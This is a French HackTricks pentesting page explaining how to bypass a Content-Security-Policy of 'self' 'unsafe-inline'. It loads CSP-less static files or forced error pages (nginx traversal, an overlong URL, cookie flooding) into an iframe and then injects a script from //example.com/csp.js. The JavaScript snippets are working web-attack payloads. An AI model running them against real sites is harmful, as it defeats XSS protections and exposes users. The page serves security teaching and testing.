hacktricks/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

2.6 KiB

{{#include ../../banners/hacktricks-training.md}}

Une configuration telle que :

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Interdit l'utilisation de toute fonction qui exécute du code transmis sous forme de chaîne. Par exemple : eval, setTimeout, setInterval seront tous bloqués en raison du paramètre unsafe-eval.

Tout contenu provenant de sources externes est également bloqué, y compris les images, CSS, WebSockets et, en particulier, JS.

Via Texte & Images

Il est observé que les navigateurs modernes convertissent les images et les textes en HTML pour améliorer leur affichage (par exemple, en définissant des arrière-plans, en centrant, etc.). Par conséquent, si un fichier image ou texte, tel que favicon.ico ou robots.txt, est ouvert via un iframe, il est rendu en tant que HTML. Notamment, ces pages manquent souvent d'en-têtes CSP et peuvent ne pas inclure X-Frame-Options, permettant l'exécution de JavaScript arbitraire à partir d'elles :

frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)

Via Erreurs

De même, les réponses d'erreur, comme les fichiers texte ou les images, arrivent généralement sans en-têtes CSP et peuvent omettre X-Frame-Options. Des erreurs peuvent être induites pour se charger dans une iframe, permettant les actions suivantes :

// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)

// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)

// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}

Après avoir déclenché l'un des scénarios mentionnés, l'exécution de JavaScript dans l'iframe est réalisable comme suit :

script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)

Références

{{#include ../../banners/hacktricks-training.md}}